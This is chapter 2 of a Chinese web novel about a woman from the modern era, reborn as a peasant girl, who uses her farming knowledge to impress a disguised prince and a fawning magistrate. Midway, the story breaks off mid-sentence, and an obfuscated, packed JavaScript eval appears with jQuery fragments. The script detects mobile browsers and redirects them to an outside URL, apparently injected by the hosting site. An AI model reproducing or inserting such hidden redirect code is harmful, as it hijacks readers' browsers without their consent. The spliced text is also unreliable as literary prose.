2. 第二章
作品:《靠种地养了个王爷》 屏风后走出一个年轻男人,约莫二十出头,身穿月色长袍,五官倾城,一双桃花眼本该含情脉脉,却被冷寂之气沉淀得幽深如霜。
县令神色一变,立刻站起,躬身道:“萧公子。”
姜禾心里一动,能让县令如此恭敬,这人身份定不简单。
年轻男人走到公案前,饶有兴致地打量着姜禾。
这人抬眼就带三分压迫,盯着人时像是在审视猎物,姜禾被看得不太舒服,但还是不甘示弱地反盯回去。
一旁还拘着礼的县令,有点摸不着头脑,尴尬地咳了一声。
男人抬了抬手,眼睛依旧盯着姜禾:“你刚才说,李家村的庄稼问题,根子在于土地?”
姜禾点头,“正是。”
“说说看,你有什么解决办法?”男人语气平缓,却带着几分探究。
姜禾:“李家村的麦田本就营养不良,再加上今年开春到现在滴雨未落,庄稼缺肥又缺水,自然发黄卷曲。”
男人挑了下眉,示意她继续说。
姜禾见他似乎真的愿意听,心里一松,立刻结合自己所学的专业知识,尽可能把解决之法用古人听得懂的话给他解释起来。从土壤板结说到施肥方法,从灌溉技巧说到病害防治,条理清晰,头头是道。
“这些做下来,至少能保住六七成麦田。等秋收之后,种一茬绿肥翻到地里,把地好好养一养,明年就能恢复正常了。”
萧昫听完,若有所思地点点头,片刻后又突然问道:“不过,你一个小姑娘,怎么会懂这么多?”
巧了不是!这个问题姜禾也早就预料过了,不慌不忙道:“回公子的话,小女父亲在世时极爱钻研农事,家里有几本农书,小女从小跟着学了些。后来父亲过世,小女闲来无事,就把那些农书翻来覆去看了好多遍。”
这话半真半假。
原主父亲确实喜欢琢磨种地的事,在村里算是个好把式,只可惜死得早。至于农书,原主家里确实有两本破旧的,不过内容都很浅显。
“原来如此。”萧昫笑了笑,转头看向县令,“刘大人,你觉得她说得如何?”
县令脸色难看,勉强道:“这丫头说得倒是有些道理,只是……只是她毕竟是个女子,又有灾星之名,实在难以服众。”
“难以服众?”萧昫语气冷淡,“我观刘大人倒是很有威望,想来定是能服众的,可为何李家村的问题迟迟没有解决。还是说大人都把心思花在了服众上,对于关乎民生大计的事并不上心。”
“王爷恕罪,下官该死。”
县令吓得满头大汗,扑通一声跪在地上,看得姜禾膝盖都疼了。
“你是有罪,但眼下正好有个戴罪立功的机会,就看你抓不抓得住了。”
“多谢王爷开恩!下官一定竭尽所能。”
能在官场混的都是人精,县令也不例外,连连磕头,说完又转身看向姜禾,一改之前倨傲神色。
姜禾震惊!
刚才还说她是来捣乱要把她轰出去的县令,此刻竟朝着她膝行而进。
“姜姑娘!”县令的声音颤抖,“方才是下官有眼不识泰山,对姑娘多有得罪,还请姑娘大人不记小人过!”
他说完,恭恭敬敬地磕了个头。
姜禾看着这一幕,心里五味杂陈。
这世道,还真是谁拳头大谁说了算。
“姜姑娘,李家村的灾情,下官确实处理不当。”县令低着头,态度要多卑微有多卑微,“还请姑娘指点一二,下官一定全力配合!”
姜禾看了一眼那位王爷,见他只是似笑非笑地看着这一幕,并不说话。
她忍不住扶了下额,道:“大人请起。小女不过是略懂些农事罢了,当不得大人这般大礼。”
县令这才战战兢兢地要起身。
姜禾却突然面露难色,道:“况且,小女也不敢再回去,怕是爱莫能助。”
刚才还气定神闲、侃侃而谈的姑娘,转眼就露出这般怯懦模样,这说变脸就变脸的功夫让萧昫眼中闪过一丝兴味。
他饶有兴致地看着她,还没等县令开口,便主动问:“哦?这是为何?”
姜禾低下头,声音里带着委屈:“村里人都说小女是灾星,克死了父母兄长。这次庄稼出了问题,他们就说是小女克的,要把小女烧死祭天。小女是好不容易才逃出来的,实、实在是不敢再去自投罗网。”
她说着,眼眶都红了,肩膀缩着,一副受尽欺负的可怜模样。
县令在旁边皱起眉头,刚要说什么,却被萧昫抬手制止。他静静地看着姜禾,那双深邃的眼睛里带着几分审视。
姜禾被看得心里发虚,却还是硬着头皮维持着委屈的表情。
“你这姑娘,倒是有些小聪明。”他的语气里带着戏谑,“你若真是好不容易逃出来,不敢再回去,又何必怀揣着解决问题的法子来报官?直接跑得远远的,不就安全了?”
姜禾被戳穿了心思,脸上一红,抬起头,发现萧昫正似笑非笑地看着她。
姜禾索性不装了,道:“王爷明鉴。小女确实是想回去解决庄稼的问题,毕竟那可是全村人的口粮。只是那些村民对小女恨之入骨,我一介弱女子,实在担心他们等不及三天,私下找小女麻烦。”
“三天?什么意思?”
“就是我答应村民们,三天内帮他们解决问题。”
“所以你来报官,只是为了想让官府派人去保护你。”
“王爷明鉴。”
萧昫轻笑出声,眼中是不加掩饰的赏识。
“有胆识,有见识,还懂得为自己谋划。有意思,真有意思。”
·
姜禾坐在马车上,想不明白事情怎么就发展到这一步。
她原本只是想让官府派几个衙役,震慑那些封建迷信的村民,自己没了后顾之忧才好专心治灾。
现在不仅衙役来了,县令来了,就连那个姓萧的王爷也要跟着来。
李家村怕是这辈子也没见过这么大的阵仗。
姜禾正苦恼着,对面的萧昫突然开口。
“姜姑娘。”他的声音低沉有磁性,“本王此行是微服查灾,知道的人不多。为了不引起不必要的麻烦,还望姑娘替本王的身份保密。”
姜禾点头:“这是自然。”
“姑娘对本王的身份,似乎并不惊讶?”
这话虽是问句,却说得肯定。
姜禾虽然是每天对着土地大豆小麦的农学生,但父母都是经商的,从小耳濡目染,练就了一流的情商,知道这时候要说些恭维的话。
她略一思索,便道:“公子气质不凡,举手投足尽是从容不迫的贵气。方才在县衙,县令大人对您都那般恭敬,小女便知您是身份尊贵之人。”
姜禾说完,看了萧昫一眼,发现他还是那副冰山死人脸,还以为是自己情商降低了,没恭维到点子上,又立马补充。
“更何况王爷生得一副极好的相貌,眉如墨画,眼似寒星,一看便知是胸有韬略、见多识广之人。这般风采,便是藏在市井之中也是遮掩不住的。”
这话说完,萧昫冰山般的脸色终于融化几分,眼中甚至带了些许笑意。
姜禾松了口气。
结果还没高兴一会,萧昫又阴沉沉来了句。
“那,既知本王身份,又为何不跪?”
姜禾整个人都僵住了。
她接受的可是二十一世纪的教育,人人平等的观念早已深入骨髓。而且她从小家境优渥,都是别人上赶着巴结,虽说知道他是王爷,但根本没有自己低人一等的觉悟啊。
跪拜?她更是没有这个观念了。小时候过年,父母给她压岁钱,让她给长辈磕个头,她都抵死不从,更别说跪别人了。
让她给萧昫下跪?绝不可能!
可……
可,现在人为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971599|193470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀俎我为鱼肉。
瞧瞧刚才那个刘县令跪得多利索,还带响的。她一介平民,无权无势……
姜禾愁得不行,不知道该怎么接话,呵呵着干笑几声,试图蒙混过关:“小女一时忘了,王爷恕罪。”
她笑,萧昫也跟着她笑,就是笑得有那么点渗人就是了。
萧昫:“现在跪也不晚。”
姜禾这下笑不出来了。
她想哭。
就是说一刻钟前,为什么要和这个男人上一辆马车?
当然,是他要求的。
姜禾现在后悔都不知道该怪谁。
萧昫就那么看着她,目光沉沉,像是非要她跪不可。
姜禾心情复杂到极点,努力装出一副可怜兮兮的样子,试图唤起对方的恻隐之心。
可这个男人就像冰山一样,特别冷硬,一点也不为所动。
姜禾觉得自己不跪是不行了。
她深吸口气,缓缓坐起身来,犹豫着却始终跪不下去。
挣扎了好一会,最后一闭眼,准备认命。
就在她膝盖刚要弯下去的瞬间,一只手扶住了她的胳膊。
萧昫将她扶起来,语气淡淡:“你若能解决李家村庄稼枯死的问题,这些俗礼,以后不守也罢。”
以后?
姜禾心里冷笑,以后我只想离你远远的。
城府深、心机重、还冷如冰山的男人,她可不想多招惹。
但她能说什么呢?
她什么也不能说。
只能给王爷假笑一个了!
马车很快来到村里,停在姜初一家门口。
姜禾刚下马车,就见一群村民围在一起。
她家那扇本就摇摇欲坠的破门板,此刻正可怜兮兮地待在地上。
村民们探着头往屋里看,发现空无一人,顿时炸开了锅,你一言我一语,后悔没早点烧死姜初一,顺便把她祖宗十八代问候了个遍。
不远处的姜禾听得一清二楚,故意往萧昫身后躲了躲,佯装很害怕的样子,颤抖着声音对县令道:“刘大人,他们说要烧死的那个人是我吗?怎么办?我好怕啊……”
萧昫听到她那假的不能再假的颤音,忍不住笑出声,竟觉得她这调皮模样,甚是可爱。
一向不苟言笑的王爷笑得很开心。
顶头上司开心,按理来说刘县令也应该开心。可现在他一点也不开心,只觉得满脑门子官司。
王爷对这个姜初一也太不一般了,他追随萧昫多年,从未见王爷冰山般的面孔有过其它神色,更别说笑了。可他今天又真真实实见他家王爷笑了很多很多次,而且每次都是因为这个姜初一。
刘县令想不明白,现在也不是想这些的时候,那边村民还在争论,眼瞅着话越说越难听。
他看了眼看了眼萧昫,这人惹不起,又看了眼姜禾,这人也得罪不起。虽说他之前已经得罪过了,但现在可不敢让人再把她得罪了。
刘县令大步上前,指着那些村民怒骂:“你们这些刁民平日里不好好耕种,出了问题就知道怪这个怪那个。姜姑娘好心要帮你们解决问题,你们不感恩戴德也就罢了,还说什么灾星克人,愚昧,简直愚昧至极!本官今日就把话撂在这儿,谁再敢胡说八道,就别怪本官不客气!”
村民这才注意到刘县令居然来了,身后还跟着一队衙役,个个腰间佩刀,气势汹汹。
众人对视一眼,被这阵势震得心虚胆怯,不敢吭声。
刘县令骂完,回过头小心翼翼地看向姜禾,脸上堆满了讨好的笑容,试探着问:“姜姑娘,您看怎么处理?要不全都打五十大板,让这帮刁民长长记性。”
村民们一听要打板子,个个面如土色。
姜禾心里好笑,这刘县令果然是人精,全都打五十板子,那得死多少人。她可担不起。
“刘县令说笑了,天色渐晚,还是先处理正事吧。”

